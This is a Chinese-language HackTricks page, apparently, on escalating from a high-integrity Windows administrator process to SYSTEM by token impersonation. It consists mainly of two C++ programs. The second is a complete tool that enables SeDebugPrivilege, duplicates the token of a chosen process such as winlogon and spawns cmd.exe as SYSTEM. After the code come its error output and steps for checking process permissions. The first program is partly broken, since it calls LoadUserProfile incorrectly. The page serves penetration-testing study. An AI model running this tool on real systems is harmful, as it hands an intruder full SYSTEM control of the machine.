hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
2023-08-03 19:12:22 +00:00

11 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

代码

以下代码来自这里。它允许指定一个进程ID作为参数并且将以指定进程的用户身份运行的CMD将被执行。
在高完整性进程中运行,您可以指定一个以System身份运行的进程的PID如winlogon、wininit并执行一个以system身份的cmd.exe。

impersonateuser.exe 1234

{% code title="impersonateuser.cpp" %}

#include <windows.h>

int main()
{
    HANDLE hToken;
    HANDLE hDupToken;
    DWORD dwSessionId = 0;
    DWORD dwProcessId = 0;
    HANDLE hProcess;
    HANDLE hThread;
    LPVOID lpEnvironment;

    // Get the current session ID
    dwSessionId = WTSGetActiveConsoleSessionId();

    // Get the process ID of the current process
    dwProcessId = GetCurrentProcessId();

    // Open the current process
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    // Open the primary token of the current process
    if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
    {
        printf("OpenProcessToken failed: %u\n", GetLastError());
        return 1;
    }

    // Duplicate the primary token
    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken))
    {
        printf("DuplicateTokenEx failed: %u\n", GetLastError());
        return 1;
    }

    // Impersonate the user associated with the primary token
    if (!ImpersonateLoggedOnUser(hDupToken))
    {
        printf("ImpersonateLoggedOnUser failed: %u\n", GetLastError());
        return 1;
    }

    // Get the current thread handle
    hThread = GetCurrentThread();

    // Set the thread token to the impersonated token
    if (!SetThreadToken(&hThread, hDupToken))
    {
        printf("SetThreadToken failed: %u\n", GetLastError());
        return 1;
    }

    // Load the user profile of the impersonated user
    if (!LoadUserProfile(hDupToken, &lpEnvironment))
    {
        printf("LoadUserProfile failed: %u\n", GetLastError());
        return 1;
    }

    // Do something as the impersonated user

    // Unload the user profile
    if (!UnloadUserProfile(hDupToken, lpEnvironment))
    {
        printf("UnloadUserProfile failed: %u\n", GetLastError());
        return 1;
    }

    // Revert to the original user
    if (!RevertToSelf())
    {
        printf("RevertToSelf failed: %u\n", GetLastError());
        return 1;
    }

    // Close the handles
    CloseHandle(hDupToken);
    CloseHandle(hToken);
    CloseHandle(hProcess);

    return 0;
}

{% endcode %}

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
lpszPrivilege,   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}

{% endcode %}

错误

在某些情况下,您可能尝试模拟系统,但无法成功,显示如下输出:

[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

这意味着即使您在高完整性级别上运行,权限仍然不足
让我们使用进程资源管理器(或者您也可以使用进程管理器)检查svchost.exe进程的当前管理员权限:

  1. 选择一个svchost.exe进程
  2. 右键单击 --> 属性
  3. 在“安全”选项卡中,点击右下角的“权限”按钮
  4. 点击“高级”
  5. 选择“Administrators”并点击“编辑”
  6. 点击“显示高级权限”

上图显示了“Administrators”对所选进程的所有权限如您所见对于svchost.exe,他们只有“查询”权限)

看看“Administrators”对winlogon.exe的权限:

在该进程中“Administrators”可以“读取内存”和“读取权限”这可能允许管理员模拟此进程使用的令牌。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥